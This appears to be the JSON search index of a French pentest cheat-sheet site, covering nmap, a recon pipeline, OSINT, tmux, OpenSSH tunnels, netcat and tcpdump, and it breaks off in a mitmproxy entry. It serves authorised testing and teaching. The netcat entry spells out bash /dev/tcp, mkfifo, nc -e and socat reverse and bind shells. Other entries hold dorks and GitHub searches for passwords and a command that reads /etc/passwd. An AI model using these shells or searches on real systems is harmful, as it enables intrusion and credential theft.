{"docs":[{"s":"nmap","t":"Nmap","d":"Scanner, fingerprint et cartographier un réseau avec Nmap et son moteur NSE.","c":"recon","k":"tool","g":["scan","ports","discovery","nse","network mapper"],"h":["Scan initial","Découverte d'hôtes","Fingerprint de services","NSE : les scripts utiles","Sortie et parsing"],"b":"Scan initial Toujours commencer par un scan rapide et discret avant de lancer les scripts lourds. [!TIP] Sur un réseau filtré, un scan -p- peut prendre des heures. Commence par --top-ports 1000 , puis élargis uniquement les ports pertinents. Découverte d'hôtes Option Effet --- --- -sn Découverte d'hôtes sans scan de ports -Pn Traite la cible comme en ligne (bypass ICMP) -n Désactive la résolution DNS -T4 Timing agressif mais raisonnable -oA Sortie normale, XML et grepable Fingerprint de services NSE : les scripts utiles Sortie et parsing [!WARNING] --script vuln déclenche des tests intrusifs. Sur une cible de production, vérifie le scope et préviens le client avant.","x":"# Top 1000 ports, versions, scripts par défaut, OS\nnmap -sC -sV -O -oA scans/initial 10.10.10.10\n\n# Tous les ports, sans résolution DNS, sortie normale\nnmap -p- --min-rate 1500 -n 10.10.10.10 -oN scans/all-ports.txt\n\n# Scan furtif (SYN) sur les ports ouverts identifiés\nnmap -sS -sV -p 22,80,443,445 --version-all 10.10.10.10\n\n# Ping scan d'un sous-réseau\nnmap -sn 10.10.10.0/24\n\n# Sans ICMP, via ARP (même LAN)\nnmap -sn -PR 10.10.10.0/24\n\n# Ports ouverts uniquement, format grepable\nnmap -sS -p 22,80,443 -oG - 10.10.10.0/24 | grep -E \"open|up\"\n\n# Version detection poussée\nnmap -sV --version-intensity 9 -p 21,22,80,443,8080 10.10.10.10\n\n# Détection OS + MAC\nsudo nmap -O --osscan-guess 10.10.10.10\n\n# Banner grabbing via NSE\nnmap -p 80,443 --script http-title,http-headers 10.10.10.10\n\n# Vulnérabilités connues (bruyant)\nnmap --script vuln -p 80,443 10.10.10.10\n\n# SMB : partages, users, OS\nnmap -p 445 --script smb-enum-shares,smb-enum-users,smb-os-discovery 10.10.10.10\n\n# HTTP : méthodes, robots, enumeration de chemins\nnmap -p 80 --script http-methods,http-robots.txt,http-enum 10.10.10.10\n\n# DNS : zone transfer\nnmap -p 53 --script dns-zone-transfer --script-args dns-zone-transfer.domain=example.com 10.10.10.10\n\n# Convertir le XML en HTML lisible\nxsltproc scan.xml -o scan.html\n\n# Extraire les ports ouverts d'un XML\nnmap -oX - 10.10.10.10 | xmlstarlet sel -t -m \"//port[state/@state='open']\" \\\n  -v \"concat(@protocol,'/',@portid,' ',service/@name)\" -n\n\n# Reprendre un scan interrompu\nnmap --resume scans/initial.nmap"},{"s":"recon-pipeline","t":"Recon pipeline","d":"Enchaîner subfinder, httpx, katana et nuclei pour transformer une racine de domaine en surface d'attaque.","c":"recon","k":"tool","g":["subdomains","httpx","katana","nuclei","automation","subdomain enumeration","bug bounty recon"],"h":["Boucle de base","Découverte de sous-domaines","Probe et fingerprint","Crawl et collecte d'URLs","Scan ciblé"],"b":"Boucle de base [!TIP] anew (de tomnomnom) n'écrit que les lignes absentes du fichier. Indispensable pour relancer un pipeline sans dupliquer les résultats. Découverte de sous-domaines Outil Usage --- --- subfinder Sources passives, rapide, peu de bruit amass enum -passive Graphe plus large, plus lent puredns Brut force massif avec wildcard filtering dnsx Résolution et records en pipeline Probe et fingerprint Crawl et collecte d'URLs Scan ciblé [!WARNING] Les rate limits sont la première cause de bannissement d'IP et de bruit inutile en bug bounty. Commence à -rl 10 , surveille les 429, puis augmente. Respecte toujours le scope du programme.","x":"# 1. Énumération passive de sous-domaines\nsubfinder -d example.com -all -silent | anew subs.txt\n\n# 2. Résolution + probe HTTP\nhttpx -l subs.txt -silent -status-code -title -tech-detect -follow-redirects \\\n  -o live.txt\n\n# 3. Crawl des URLs et paramètres\nkatana -list live.txt -jc -kf all -d 3 -silent | anew urls.txt\n\n# 4. Scan de vulnérabilités ciblé\nnuclei -l live.txt -severity critical,high,medium -rl 40 -o nuclei.txt\n\n# Passif multi-sources\nsubfinder -d example.com -all -recursive -silent\n\n# Brute force DNS avec résolveurs publics\npuredns brut force.txt example.com -r resolvers.txt -w found.txt\n\n# Certificate Transparency\ncurl -s \"https://crt.sh/?q=%25.example.com&output=json\" \\\n  | jq -r '.[].name_value' | sed 's/\\*\\.//g' | sort -u\n\n# Zone transfer (si mal configuré)\ndig axfr @ns1.example.com example.com\n\n# Statut, titre, tech, CDN, TLS\nhttpx -l subs.txt -silent -sc -title -td -cdn -cl -location -favicon\n\n# Screenshots (nécessite chromium)\nhttpx -l live.txt -silent -ss -srd screenshots/\n\n# Réponse brute d'un host précis\nhttpx -u https://dev.example.com -silent -include-response\n\n# Crawl headless + parsing JS\nkatana -u https://app.example.com -jc -d 4 -kf all -silent -o crawl.txt\n\n# URLs historiques\ngau --subs example.com | anew crawl.txt\nwaybackurls example.com | anew crawl.txt\n\n# Garder les endpoints avec paramètres\ngrep -E '\\?[^=]+=' crawl.txt | sort -u > params.txt\n\n# Extraire les chemins uniques\nsed -E 's#https?://[^/]+##; s#\\?.*##' crawl.txt | sort -u\n\n# Tech-specific, sans templates destructifs\nnuclei -l live.txt -tags cve,exposure,misconfig -severity critical,high -rl 30\n\n# Fuzzing de répertoires sur les hosts vivants\nffuf -u https://app.example.com/FUZZ -w /wordlists/content.txt \\\n  -mc 200,204,301,302,307,401,403 -fs 0\n\n# Vérifier les panneaux d'admin et APIs\nnuclei -l live.txt -t http/exposures/ -t http/misconfiguration/"},{"s":"osint","t":"OSINT","d":"Cartographier une organisation, un domaine ou une identité à partir de sources publiques.","c":"recon","k":"technique","g":["osint","google-dorks","shodan","emails","metadata","open source intelligence","reconnaissance passive"],"h":["Domaine et infrastructure","Google dorks","Shodan et Censys","Emails et identités","Fuites et code exposé","Metadata et documents"],"b":"Domaine et infrastructure Source Ce qu'on y trouve --- --- crt.sh Certificats, sous-domaines oubliés Shodan Services exposés, bannières, versions Censys Certificats, hosts, ports FOFA / ZoomEye Index alternatifs, forte couverture Asie urlscan.io Screenshots, DOM, requêtes tierces Google dorks [!TIP] Les dorks se combinent aux moteurs alternatifs. DuckDuckGo et Bing indexent parfois ce que Google omet, et les recherches site: fonctionnent aussi sur GitHub. Shodan et Censys Requêtes utiles : Emails et identités Fuites et code exposé Metadata et documents [!WARNING] L'OSINT reste de la collecte : ne contacte jamais les personnes identifiées, n'utilise pas de creds trouvés et ne télécharge pas de données personnelles hors scope. Conserve tes sources et horodatages pour le rapport.","x":"# WHOIS et DNS\nwhois example.com\ndig +short example.com A MX TXT NS\ndig +short _dmarc.example.com TXT\n\n# Sous-domaines via Certificate Transparency\ncurl -s \"https://crt.sh/?q=%25.example.com&output=json\" | jq -r '.[].name_value' | sort -u\n\n# Historique DNS et IP\n# securitytrails.com, viewdns.info, dnsdumpster.com\n\nsite:example.com -www\nsite:example.com filetype:pdf\nsite:example.com inurl:admin\nsite:example.com intitle:\"index of\"\nsite:pastebin.com \"example.com\"\nsite:github.com \"example.com\" password\n\n# Installer et configurer l'API key\nshodan init $SHODAN_API_KEY\n\n# Recherche par organisation et produit\nshodan search 'org:\"Example Corp\" product:nginx'\nshodan host 203.0.113.10\n\n# Export rapide des résultats\nshodan search --fields ip_str,port,product 'ssl:\"example.com\"' --limit 100\n\nssl.cert.subject.cn:\"example.com\"\nhttp.title:\"Dashboard\" org:\"Example Corp\"\nport:3389 country:FR\nproduct:\"Apache httpd\" version:\"2.4.49\"\n\n# Emails publics + hosts\ntheHarvester -d example.com -b duckduckgo,bing,crtsh -l 500 -f harvest\n\n# Vérifier si un email est inscrit sur des services\nholehe user@example.com\n\n# Username sur les réseaux et forums\nsherlock username --timeout 10\n\n# Secrets dans un repo Git\ntrufflehog git https://github.com/example/repo --only-verified\ngitleaks detect --source ./repo --redact\n\n# Recherche GitHub (API)\ncurl -s \"https://api.github.com/search/code?q=example.com+password\" \\\n  -H \"Authorization: token $GITHUB_TOKEN\" | jq '.items[].html_url'\n\n# Anciennes versions de sites\nwaybackurls example.com | head -100\n\n# Métadonnées d'un PDF ou d'une image\nexiftool -a -u -g1 document.pdf\n\n# Auteur, logiciel, chemins internes\npdfinfo document.pdf\nstrings document.pdf | grep -iE \"author|creator|path\""},{"s":"tmux","t":"tmux","d":"Sessions, fenêtres et panneaux persistants : le multiplexeur indispensable en SSH et en pentest.","c":"linux","k":"tool","g":["terminal","multiplexer","sessions","panes","persistence","terminal multiplexer","tmux cheat sheet"],"h":["Sessions","Fenêtres","Panneaux","Copier, chercher, scroller","Config minimale","Automatiser un setup d'opération","Persistance et reprise","Sessions partagées et sockets","Dépannage"],"b":"Sessions Depuis une session : Ctrl-b puis d pour détacher. La session continue de tourner après la fermeture du SSH. [!TIP] Lance un scan long dans tmux avant de perdre la connexion : tmux new -d -s scan 'nmap -sV 10.10.10.0/24; exec bash' . Tu pourras te rattacher plus tard avec tmux attach -t scan . Fenêtres Préfixe par défaut : Ctrl-b . Touche Action --- --- c Nouvelle fenêtre , Renommer n / p Fenêtre suivante / précédente 0 … 9 Aller à la fenêtre numérotée w Liste des fenêtres & Fermer la fenêtre . Déplacer la fenêtre f Chercher une fenêtre s Liste des sessions $ Renommer la session Panneaux Redimensionner : Ctrl-b puis Ctrl + flèches (ou Alt + flèches selon la configuration). Les panneaux conservent leur répertoire courant avec split-window -c \"#{pane current path}\" . Copier, chercher, scroller [!TIP] En mode copie vi, v démarre la sélection, y copie et / cherche. Utilise Ctrl-b PageUp pour remonter directement dans le scrollback. Config minimale Automatiser un setup d'opération Persistance et reprise Sessions partagées et sockets [!WARNING] Un socket tmux accessible à d'autres utilisateurs expose tout le contenu des sessions, y compris les commandes et les secrets affichés. Garde le socket dans un répertoire 700 et ne partage une session qu'avec des personnes de confiance. Dépannage - no server running : aucune session active, lance tmux new -s ops . - session not found : tmux ls pour retrouver le bon nom. - Couleurs cassées : vérifie TERM ( echo $TERM ) et default-terminal . - protocol version mismatch : le client et le serveur tmux n'ont pas la même version. - Terminal figé : Ctrl-b d , puis tmux attach -d -t ops depuis un autre shell.","x":"# Créer ou rattacher une session (le réflexe à retenir)\ntmux new -A -s ops\n\n# Nouvelle session nommée\ntmux new -s recon\n\n# Lister, rattacher, détacher\ntmux ls\ntmux attach -t recon\ntmux attach -d -t recon      # détache les autres clients\n\n# Tuer une session / tout le serveur\ntmux kill-session -t recon\ntmux kill-server\n\nCtrl-b %     split vertical\nCtrl-b \"     split horizontal\nCtrl-b ←↑↓→  changer de panneau\nCtrl-b o     panneau suivant\nCtrl-b z     zoom plein écran (toggle)\nCtrl-b x     fermer le panneau\nCtrl-b !     extraire le panneau dans une fenêtre\nCtrl-b { }   échanger avec le panneau précédent / suivant\nCtrl-b space changer de disposition\nCtrl-b q     afficher les numéros\n\nCtrl-b [     entrer en mode copie\nEspace       commencer la sélection\nEntrée       copier\nCtrl-b ]     coller\n/            chercher vers le bas\n?            chercher vers le haut\nn / N        résultat suivant / précédent\nq            quitter le mode copie\n\n# Activer la souris et le scrollback confortable\ntmux set -g mouse on\ntmux set -g history-limit 50000\n\n# Mode vi pour la copie\ntmux setw -g mode-keys vi\n\n# ~/.tmux.conf\nset -g default-terminal \"tmux-256color\"\nset -ga terminal-overrides \",*256col*:Tc\"\nset -g history-limit 50000\nset -g mouse on\nset -g base-index 1\nsetw -g pane-base-index 1\nset -g renumber-windows on\nset -g escape-time 0\nset -g focus-events on\nsetw -g mode-keys vi\n\n# Thème sobre, proche de sheet.sec\nset -g status-style \"bg=#050806,fg=#7dffb2\"\nset -g status-left \"[#S] \"\nset -g status-right \"%H:%M %d-%b-%y \"\nset -g window-status-current-style \"fg=#050806,bg=#7dffb2\"\n\n# Splits dans le répertoire courant\nbind | split-window -h -c \"#{pane_current_path}\"\nbind - split-window -v -c \"#{pane_current_path}\"\n\n# Recharger la config avec Ctrl-b r\nbind r source-file ~/.tmux.conf \\; display-message \"tmux: config reloaded\"\n\n# Naviguer avec hjkl\nbind h select-pane -L\nbind j select-pane -D\nbind k select-pane -U\nbind l select-pane -R\n\n# Appliquer sans quitter\ntmux source-file ~/.tmux.conf\n\n# Créer une session avec trois panneaux prêts à l'emploi\ntmux new -d -s op\ntmux split-window -h -t op\ntmux split-window -v -t op:0.1\ntmux send-keys -t op:0.0 'nc -lvnp 4444' C-m\ntmux send-keys -t op:0.1 'ffuf -u https://target/FUZZ -w words.txt' C-m\ntmux send-keys -t op:0.2 'tail -f ~/notes/op.log' C-m\ntmux attach -t op\n\n# Envoyer une commande dans un panneau sans s'attacher\ntmux send-keys -t op:0.0 'whoami' C-m\n\n# Capturer l'écran ou tout le scrollback\ntmux capture-pane -p -t op:0 > screen.txt\ntmux capture-pane -pS -5000 -t op:0 > scrollback.txt\n\n# Journaliser tout ce qui passe dans un panneau\ntmux pipe-pane -o -t op:0 'cat >> ~/notes/op.log'\ntmux pipe-pane -t op:0        # arrêter\n\n# Suivre les panneaux actifs de toutes les sessions\ntmux list-panes -a -F '#{session_name}:#{window_index}.#{pane_index} #{pane_current_command}'\n\n# Sauvegarder / restaurer l'état des sessions\n# Avec TPM + tmux-resurrect + tmux-continuum\ngit clone https://github.com/tmux-plugins/tpm ~/.tmux/plugins/tpm\n\n# ~/.tmux.conf\nset -g @plugin 'tmux-plugins/tpm'\nset -g @plugin 'tmux-plugins/tmux-sensible'\nset -g @plugin 'tmux-plugins/tmux-resurrect'\nset -g @plugin 'tmux-plugins/tmux-continuum'\nset -g @continuum-restore 'on'\nrun '~/.tmux/plugins/tpm/tpm'\n\nCtrl-b I     installer les plugins\nCtrl-b Ctrl-s sauvegarder la session (resurrect)\nCtrl-b Ctrl-r restaurer\n\n# Un serveur tmux séparé pour un lab ou un client\ntmux -L lab new -s ops\n\n# Socket explicite (contrôle des permissions)\ntmux -S /tmp/ops.sock new -s ops\nchmod 700 /tmp/ops.sock\ntmux -S /tmp/ops.sock attach -t ops\n\ntmux ls\ntmux attach -t ops\ntmux detach-client -s ops\ntmux kill-session -t ops\n\n# Connaître les touches et options effectives\ntmux list-keys\ntmux show-options -g\ntmux list-commands"},{"s":"openssh","t":"OpenSSH","d":"Clés, config et tunnels SSH : local, distant, dynamique, ProxyJump et persistance.","c":"linux","k":"tool","g":["ssh","tunneling","port-forwarding","proxyjump","keys","ssh","ssh tunnel","port forwarding","socks ssh"],"h":["Connexion et clés","Comprendre les tunnels","Tunnels locaux -L","Tunnels distants -R","Proxy SOCKS -D","Rebonds et ProxyJump","Transferts de fichiers","Multiplexage et persistance","Agent et restrictions de clé","Durcissement serveur","Dépannage"],"b":"Connexion et clés [!TIP] Attention à la casse : ssh -p , mais scp -P et sftp -P . Une erreur de casse donne un « unknown option » ou un port différent de celui attendu. Comprendre les tunnels [!TIP] Pour un pivot complet avec chisel, ligolo-ng et proxychains, voir Pivoting. Ici, on se concentre sur les primitives natives d'OpenSSH. Option Sens Bind sur --- --- --- -L Local → distant Machine cliente (toi) -R Distant → local Serveur SSH (bastion) -D Proxy SOCKS dynamique Machine cliente -J Rebond SSH Chaîne de bastions -W Forward stdio Utilisé avec ProxyCommand [!WARNING] Avec -L , le nom internal.corp est résolu par le serveur SSH , pas par ta machine. localhost désigne le localhost du bastion, pas le tien. Tunnels locaux -L Tunnels distants -R [!TIP] Par défaut, un -R n'écoute que sur 127.0.0.1 du serveur. Pour qu'une autre machine du réseau du bastion atteigne le tunnel, il faut GatewayPorts clientspecified et un bind explicite 0.0.0.0:9001 . Proxy SOCKS -D [!WARNING] Un SOCKS SSH ne transporte que du TCP . Pas d'ICMP, pas de scan SYN ( -sS ), pas d'UDP. Utilise nmap -sT , et pour l'UDP passe par un VPN ou un tunnel TUN ( ssh -w ). Rebonds et ProxyJump [!TIP] Si tu veux que ce soit le bastion qui joigne le service, fais le tunnel sur le bastion : ssh -L 8080:internal:80 user@jump . -J ne change pas qui résout la destination de -L . Transferts de fichiers [!NOTE] scp utilise SFTP par défaut sur les versions récentes d'OpenSSH. Sur un serveur ancien, force l'ancien protocole avec scp -O . Multiplexage et persistance Agent et restrictions de clé Option sshd Effet --- --- AllowTcpForwarding yes Autorise -L et -R AllowTcpForwarding local Autorise seulement -L AllowTcpForwarding remote Autorise seulement -R PermitOpen host:port Restreint les destinations PermitListen Restreint les ports d'écoute distants GatewayPorts no -R limité au loopback AllowAgentForwarding no Coupe -A PermitTunnel no Coupe ssh -w (TUN/TAP) [!WARNING] ssh -A place ton agent sur l'hôte distant : root sur cet hôte peut utiliser tes clés pour rebondir. Préfère ProxyJump , qui ne transfère jamais l'agent. Durcissement serveur [!WARNING] AllowTcpForwarding no ou un PermitOpen trop strict casse les tunnels. Sur un bastion de pentest, vérifie la policy avant de durcir, et documente l'écart entre le besoin opérationnel et la config de production. Dépannage Erreur Piste --- --- Permission denied (publickey) Clé absente, permissions, ssh-add -l , SELinux ( restorecon -R ~/.ssh ) Host key verification failed ssh-keygen -R host après vérification channel open failed: administratively prohibited AllowTcpForwarding / PermitOpen côté serveur remote port forwarding failed Port déjà pris sur le serveur, ou GatewayPorts bind: Address already in use Port local déjà utilisé Connexion qui tombe ServerAliveInterval , ClientAliveInterval , MTU/réseau [!WARNING] Un tunnel SSH contourne la segmentation réseau et peut exposer un service interne à un réseau moins contrôlé. Utilise-le uniquement dans le scope autorisé, ferme les forwards après usage et surveille les connexions sortantes inhabituelles côté défense.","x":"ssh user@10.10.10.10\nssh -p 2222 user@host\nssh -i ~/.ssh/id_ed25519 user@host\nssh -J jump user@internal\n\n# Clé ed25519 avec passphrase\nssh-keygen -t ed25519 -a 100 -C \"operator@laptop\"\n\n# Déployer la clé publique\nssh-copy-id -i ~/.ssh/id_ed25519.pub user@host\nssh-add -t 8h ~/.ssh/id_ed25519\nssh-add -l\n\n# Permissions attendues\nchmod 700 ~/.ssh\nchmod 600 ~/.ssh/id_ed25519 ~/.ssh/config\nchmod 644 ~/.ssh/id_ed25519.pub ~/.ssh/authorized_keys\n\n# ~/.ssh/config\nHost jump\n  HostName 10.10.10.10\n  User operator\n  Port 2222\n  IdentityFile ~/.ssh/id_ed25519\n  ServerAliveInterval 30\n  ServerAliveCountMax 3\n  ExitOnForwardFailure yes\n  ControlMaster auto\n  ControlPath ~/.ssh/cm-%r@%h:%p\n  ControlPersist 10m\n\nHost internal\n  HostName 10.10.20.10\n  User operator\n  ProxyJump jump\n\nssh -G jump | grep -iE \"hostname|user|port|forward|proxy\"\nssh-keyscan -H 10.10.10.10 >> ~/.ssh/known_hosts\nssh-keygen -R 10.10.10.10\n\n# -L : le service distant devient accessible localement\n[toi:8080] ──SSH──▶ [jump] ──TCP──▶ internal.corp:80\nssh -N -L 8080:internal.corp:80 user@jump\n\n# Accéder à un service interne via un bastion\nssh -N -L 8080:internal.corp:80 user@jump\n\n# Plusieurs tunnels dans la même session\nssh -N -L 8080:internal.corp:80 -L 5432:db.internal:5432 user@jump\n\n# Arrière-plan, sans shell, échec si le port local est occupé\nssh -fNT -o ExitOnForwardFailure=yes -L 8080:internal:80 user@jump\n\n# Rendre le port accessible aux autres machines de ton réseau\nssh -g -N -L 8080:internal:80 user@jump\n\n# Forward d'un socket Unix (Docker, par exemple)\nssh -N -L /tmp/docker.sock:/var/run/docker.sock user@jump\n\n# Vérifier que le port écoute\nss -tlnp | grep 8080\ncurl -s http://127.0.0.1:8080/\n\n# Exposer un service local sur le loopback du bastion\nssh -N -R 9001:127.0.0.1:9001 user@jump\n\n# Exposer sur toutes les interfaces du bastion (GatewayPorts requis)\nssh -N -R 0.0.0.0:9001:127.0.0.1:9001 user@jump\n\n# Laisser le serveur choisir le port (affiché en verbose)\nssh -v -N -R 0:127.0.0.1:9001 user@jump\n\n# Callback pour un reverse shell (voir aussi /sheets/reverse-shells/)\nssh -N -R 4444:127.0.0.1:4444 user@jump\n\n# Sur le serveur SSH, pour autoriser un bind non-loopback\n# /etc/ssh/sshd_config.d/forwarding.conf\nGatewayPorts clientspecified\n\n# SOCKS5 local sur 127.0.0.1:1080\nssh -N -D 1080 user@jump\n\n# Exposer le SOCKS aux autres interfaces\nssh -N -D 0.0.0.0:1080 user@jump\n\n# Tester avec curl (DNS résolu côté proxy)\ncurl --socks5-hostname 127.0.0.1:1080 http://internal.corp/\n\n# Scanner le réseau interne via proxychains\nproxychains4 nmap -sT -Pn -p 22,80,443,445 10.10.20.0/24\n\n# /etc/proxychains4.conf\n[ProxyList]\nsocks5 127.0.0.1 1080\n\n# Un ou plusieurs bastions\nssh -J user@jump user@10.10.20.10\nssh -J user@jump1,user@jump2 user@target\n\n# Équivalent explicite\nssh -o ProxyJump=user@jump user@target\n\n# ProxyCommand : SSH dans SSH\nssh -o ProxyCommand='ssh -W %h:%p user@jump' user@target\n\n# Passer par un proxy HTTP CONNECT\nssh -o ProxyCommand='ncat --proxy proxy.corp:3128 --proxy-type http %h %p' user@target\nssh -o ProxyCommand='socat - PROXY:proxy.corp:%h:%p,proxyport=3128' user@target\n\n# Tunnel à travers la cible finale\n# Ici, c'est la cible qui doit joindre internal:80\nssh -J jump -L 8080:internal:80 user@target\n\n# scp / sftp (port en majuscule)\nscp -P 2222 fichier user@host:/tmp/\nscp -r dossier user@host:/tmp/\nsftp -P 2222 user@host\n\n# rsync à travers SSH\nrsync -avz -e 'ssh -p 2222' dossier/ user@host:/tmp/dossier/\n\n# Sans scp : tar dans un pipe\ntar czf - dossier | ssh user@host 'tar xzf - -C /tmp'\n\n# Lire un fichier distant\nssh user@host 'cat /etc/passwd' > passwd.local\n\n# Monter un répertoire distant\nsshfs user@host:/remote /mnt/remote -o reconnect\n\n# Une seule connexion TCP réutilisée pour plusieurs sessions\nssh -M -S ~/.ssh/cm-jump -fN -L 8080:internal:80 user@jump\n\nssh -S ~/.ssh/cm-jump -O check user@jump\nssh -S ~/.ssh/cm-jump -O forward -L 9090:internal:90 user@jump\nssh -S ~/.ssh/cm-jump -O cancel -L 9090:internal:90 user@jump\nssh -S ~/.ssh/cm-jump -O exit user@jump\n\n# Reconnexion automatique d'un tunnel\nautossh -M 0 -fNT \\\n  -o ServerAliveInterval=30 -o ServerAliveCountMax=3 \\\n  -o ExitOnForwardFailure=yes \\\n  -L 8080:internal:80 user@jump\n\n# ~/.config/systemd/user/tunnel-8080.service\n[Unit]\nDescription=SSH tunnel 8080 -> internal:80\nAfter=network-online.target\nWants=network-online.target\n\n[Service]\nExecStart=/usr/bin/ssh -NT -o ExitOnForwardFailure=yes -o ServerAliveInterval=30 -L 8080:internal:80 user@jump\nRestart=always\nRestartSec=5\n\n[Install]\nWantedBy=default.target\n\nsystemctl --user daemon-reload\nsystemctl --user enable --now tunnel-8080.service\nloginctl enable-linger \"$USER\"\n\neval \"$(ssh-agent -s)\"\nssh-add -t 8h ~/.ssh/id_ed25519\nssh-add -l\n\n# Forward de l'agent : pratique, mais risqué sur un hôte non fiable\nssh -A user@jump\n\n# ~/.ssh/authorized_keys\n# Clé de backup : uniquement cette commande, depuis ce réseau\nrestrict,command=\"/usr/local/bin/backup\",from=\"10.10.10.0/24\" ssh-ed25519 AAAA...\n\n# Clé de tunnel : pas de shell, uniquement le forwarding\nrestrict,pty,port-forwarding ssh-ed25519 AAAA...\n\n# /etc/ssh/sshd_config.d/hardening.conf\nPermitRootLogin no\nPasswordAuthentication no\nKbdInteractiveAuthentication no\nPubkeyAuthentication yes\nMaxAuthTries 3\nX11Forwarding no\nAllowAgentForwarding no\nAllowTcpForwarding local\nPermitOpen git.internal:22 db.internal:5432\nClientAliveInterval 60\nClientAliveCountMax 3\n\nsshd -t\nsystemctl reload ssh       # Debian / Ubuntu\nsystemctl reload sshd      # RHEL / Fedora\nsshd -T | grep -iE \"forward|gateway|permitopen\"\n\nssh -vvv user@host\nssh -G host | grep -iE \"forward|proxy|user|port\"\nss -tlnp\nss -tnp\njournalctl -u ssh -f        # ou -u sshd\n\n# Scripts non interactifs\nssh -o BatchMode=yes -o ConnectTimeout=10 user@host 'uptime'\n\n# Accepter une nouvelle clé d'hôte sans la vérifier (lab uniquement)\nssh -o StrictHostKeyChecking=accept-new user@host\n\n# Vérifier les algorithmes négociés\nssh -Q cipher\nssh -Q kex"},{"s":"netcat","t":"Netcat","d":"Le couteau suisse TCP/UDP : listeners, transferts de fichiers, bind et reverse shells.","c":"network","k":"tool","g":["tcp","listener","shells","file-transfer","nc","ncat","swiss army knife"],"h":["Listener et connexion","Banner grabbing","Transfert de fichiers","Reverse shell","Bind shell","Alternatives modernes"],"b":"Listener et connexion Option Effet --- --- -l Mode écoute -v Verbeux -n Pas de résolution DNS -p Port local -u UDP -k Garde le listener ouvert après déconnexion -w 3 Timeout de connexion Banner grabbing Transfert de fichiers [!TIP] Sur un réseau instable, préfère rsync , scp ou un serveur HTTP éphémère ( python3 -m http.server ). Netcat ne reprend pas un transfert interrompu. Reverse shell Bind shell [!WARNING] De nombreux builds de nc n'incluent pas -e (OpenBSD netcat). Utilise ncat -e , socat, ou le pipe mkfifo . Un bind shell expose un port : préfère un reverse shell quand le firewall le permet. Alternatives modernes","x":"# Écouter sur toutes les interfaces\nnc -lvnp 4444\n\n# Se connecter à un service\nnc -nv 10.10.10.10 80\n\n# UDP\nnc -luvnp 5353\n\n# HTTP manuel\nprintf 'HEAD / HTTP/1.0\\r\\nHost: example.com\\r\\n\\r\\n' | nc -nv 10.10.10.10 80\n\n# SMTP / FTP / SSH\nnc -nv 10.10.10.10 25\nnc -nv 10.10.10.10 21\nnc -nv 10.10.10.10 22\n\n# Receveur\nnc -lvnp 9001 > received.tar.gz\n\n# Expéditeur\nnc -nv 10.10.10.20 9001 < archive.tar.gz\n\n# Avec progression et intégrité\ntar czf - dossier/ | pv | nc -nv 10.10.10.20 9001\nsha256sum archive.tar.gz\n\n# Côté attaquant\nnc -lvnp 4444\n\n# Côté cible (exemple bash)\nbash -i >& /dev/tcp/10.10.10.20/4444 0>&1\n\n# Variante sans /dev/tcp\nrm -f /tmp/f; mkfifo /tmp/f\ncat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.10.20 4444 > /tmp/f\n\n# Sur la cible\nnc -lvnp 4444 -e /bin/bash\n\n# Depuis l'attaquant\nnc -nv 10.10.10.10 4444\n\n# ncat avec TLS et exécution\nncat --ssl -l 4444 --sh-exec /bin/bash --keep-open\n\n# socat : relais TCP et PTY complet\nsocat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash,pty,stderr,setsid,sigint,sane\n\n# Tester un port rapidement\nnc -zvw2 10.10.10.10 22 80 443"},{"s":"tcpdump","t":"tcpdump & tshark","d":"Capturer et filtrer le trafic réseau en ligne de commande, puis analyser les paquets avec Wireshark.","c":"network","k":"tool","g":["pcap","sniffing","bpf","wireshark","tshark","packet capture","wireshark cli"],"h":["Capturer","Lire un pcap","tshark : filtres d'affichage","Wireshark : filtres à retenir","Détection rapide"],"b":"Capturer Filtre BPF Effet --- --- host 10.0.0.5 Tout le trafic de/vers l'hôte net 10.0.0.0/24 Tout le sous-réseau port 443 Source ou destination 443 tcp[tcpflags] & tcp-syn != 0 Paquets SYN not port 22 Exclut SSH vlan and host 10.0.0.5 Trafic VLAN Lire un pcap tshark : filtres d'affichage Wireshark : filtres à retenir Filtre Usage --- --- ip.addr == 10.0.0.5 Source ou destination http.request.method == \"POST\" Requêtes POST http.response.code = 400 Erreurs HTTP dns.qry.name contains \"example\" Requêtes DNS tls.handshake.extensions server name == \"example.com\" SNI tcp.flags.syn == 1 && tcp.flags.ack == 0 SYN scan frame contains \"password\" Recherche brute ftp / smb2 / kerberos Protocoles ciblés [!TIP] Sur un gros pcap, filtre d'abord par temps ( frame.time = \"2026-11-08 14:00:00\" ) puis par protocole. Statistics → Conversations révèle souvent l'activité anormale avant même de lire les paquets. Détection rapide [!WARNING] La capture nécessite CAP NET RAW ou root. Sur un switch, le trafic des autres machines n'est visible qu'avec un port miroir (SPAN) ou une attaque ARP. Ne capture jamais un réseau sans autorisation.","x":"# Toutes les interfaces, sans résolution, snapshot complet\nsudo tcpdump -i any -nn -s0 -w capture.pcap\n\n# Une interface et un hôte précis\nsudo tcpdump -i eth0 host 10.10.10.10 -w host.pcap\n\n# Rotation : 24 fichiers d'une heure\nsudo tcpdump -i eth0 -w cap-%Y%m%d-%H%M.pcap -G 3600 -W 24\n\n# Afficher le contenu ASCII (HTTP en clair)\nsudo tcpdump -i any -nn -A 'tcp port 80'\n\n# Résumé des conversations\ntcpdump -nn -r capture.pcap | head -50\n\n# Hex + ASCII pour un flux\ntcpdump -nn -r capture.pcap -XX 'tcp port 21'\n\n# Extraire les fichiers HTTP (avec tshark)\ntshark -r capture.pcap --export-objects http,http-files/\n\n# Requêtes HTTP\ntshark -r capture.pcap -Y 'http.request' \\\n  -T fields -e ip.src -e http.host -e http.request.uri\n\n# DNS\ntshark -r capture.pcap -Y 'dns' -T fields -e dns.qry.name | sort -u\n\n# SNI TLS\ntshark -r capture.pcap -Y 'tls.handshake.extensions_server_name' \\\n  -T fields -e tls.handshake.extensions_server_name | sort -u\n\n# Suivre un stream TCP (numéro affiché avec -z follow)\ntshark -r capture.pcap -z follow,tcp,ascii,0 -q\n\n# Top talkers\ntshark -r capture.pcap -q -z endpoints,ip\n\n# Top conversations TCP\ntshark -r capture.pcap -q -z conv,tcp\n\n# Requêtes HTTP les plus fréquentes\ntshark -r capture.pcap -Y 'http.request' -T fields -e http.request.full_uri \\\n  | sort | uniq -c | sort -rn | head -20"},{"s":"mitmproxy","t":"mitmproxy","d":"Intercepter, modifier et rejouer le trafic HTTP(S) avec le proxy MITM, en CLI ou en GUI.","c":"network","k":"tool","g":["proxy","tls","interception","http","replay","mitmweb","intercepting proxy"],"h":["Démarrer","Router le client","Mode transparent (Linux)","Interception et filtres","Rejouer et modifier","Bonnes pratiques"],"b":"Démarrer Router le client [!TIP] Installe 